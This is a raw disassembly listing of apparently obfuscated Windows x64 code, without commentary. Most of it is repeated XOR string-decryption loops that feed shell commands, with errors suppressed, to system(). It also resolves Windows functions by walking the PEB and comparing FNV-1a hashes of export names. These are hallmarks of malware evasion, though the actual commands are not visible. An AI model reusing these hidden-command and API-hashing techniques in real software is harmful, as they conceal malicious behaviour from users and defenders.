lea rcx, [rbp + 0x11e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1200]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1220]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1240]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1260]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1280]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1340]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1320]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1878]
lea rcx, [rbp + 0x3788]
call fcn.14004b390
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400410c0
mov r8d, r14d
cmp r15d, 2
jl 0x14004107b
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040f90
cmp r8d, 0x2d
jge 0x1400410c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140041090
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1300]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x12e0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x12c0]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x12a0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x12a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x12c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x12e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1300]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1320]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1340]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1400]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x13e0]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x18a8]
lea rcx, [rbp + 0x3790]
call fcn.14004b3d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140041310
mov r8d, r14d
cmp r15d, 2
jl 0x1400412cb
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400411e0
cmp r8d, 0x2d
jge 0x140041310
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400412e0
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x13c0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x13a0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1380]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1360]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1360]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1380]
call fcn.140071c30
nop
lea rcx, [rbp + 0x13a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x13c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x13e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1400]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x14c0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x14a0]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x18d8]
lea rcx, [rbp + 0x3798]
call fcn.14004b410
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140041560
mov r8d, r14d
cmp r15d, 2
jl 0x14004151b
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140041430
cmp r8d, 0x2d
jge 0x140041560
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140041530
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1480]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1460]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1440]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1420]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1420]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1440]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1460]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1480]
call fcn.140071c30
nop
lea rcx, [rbp + 0x14a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x14c0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1580]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1560]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1908]
lea rcx, [rsp + 0x76]
call fcn.14004b450
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400417a0
mov r8d, r14d
cmp r15d, 2
jl 0x14004175d
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140041672
cmp r8d, 0x2d
jge 0x1400417a0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140041770
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1540]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1520]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1500]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x14e0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x14e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1500]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1520]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1540]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1560]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1580]
call fcn.140071c30
lea rdx, [rbp + 0x1e80]
lea rcx, [rsp + 0x30]
call fcn.14004b490
mov rsi, rax
cmp byte [rax + 0x7a], 0
je 0x1400419c0
mov r8d, r14d
cmp r15d, 2
jl 0x14004197b
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140041890
cmp r8d, 0x7b
jge 0x1400419c0
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x140041990
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140041a56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140041a56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140041a51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140041a30
cmp r8d, 0x491e0a9c
je 0x140041a5b
test r9d, r9d
jne 0x140041a10
mov rax, qword [rax]
jmp 0x1400419e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x1f80]
lea rcx, [rsp + 0x31]
call fcn.14004b510
mov rsi, rax
cmp byte [rax + 0x80], 0
je 0x140041bf3
mov r8d, r14d
cmp r15d, 2
jl 0x140041bb1
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140041ac0
cmp r8d, 0x81
jge 0x140041bf3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140041bc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140041c86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140041c86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140041c81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140041c60
cmp r8d, 0x491e0a9c
je 0x140041c8b
test r9d, r9d
jne 0x140041c40
mov rax, qword [rax]
jmp 0x140041c10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x2f90]
lea rcx, [rsp + 0x32]
call fcn.14004b580
mov rsi, rax
cmp byte [rax + 0xa4], 0
je 0x140041e23
mov r8d, r14d
cmp r15d, 2
jl 0x140041de1
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140041cf0
cmp r8d, 0xa5
jge 0x140041e23
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa5
jl 0x140041df0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140041eb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140041eb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140041eb1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140041e90
cmp r8d, 0x491e0a9c
je 0x140041ebb
test r9d, r9d
jne 0x140041e70
mov rax, qword [rax]
jmp 0x140041e40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x2ee0]
lea rcx, [rsp + 0x33]
call fcn.14004b600
mov rsi, rax
cmp byte [rax + 0xa3], 0
je 0x140042053
mov r8d, r14d
cmp r15d, 2
jl 0x140042011
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140041f20
cmp r8d, 0xa4
jge 0x140042053
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa4
jl 0x140042020
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400420e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400420e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400420e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400420c0
cmp r8d, 0x491e0a9c
je 0x1400420eb
test r9d, r9d
jne 0x1400420a0
mov rax, qword [rax]
jmp 0x140042070
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x3250]
lea rcx, [rsp + 0x34]
call fcn.14004b680
mov rsi, rax
cmp byte [rax + 0xb1], 0
je 0x140042283
mov r8d, r14d
cmp r15d, 2
jl 0x140042241
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb0
jl 0x140042150
cmp r8d, 0xb2
jge 0x140042283
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb2
jl 0x140042250
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
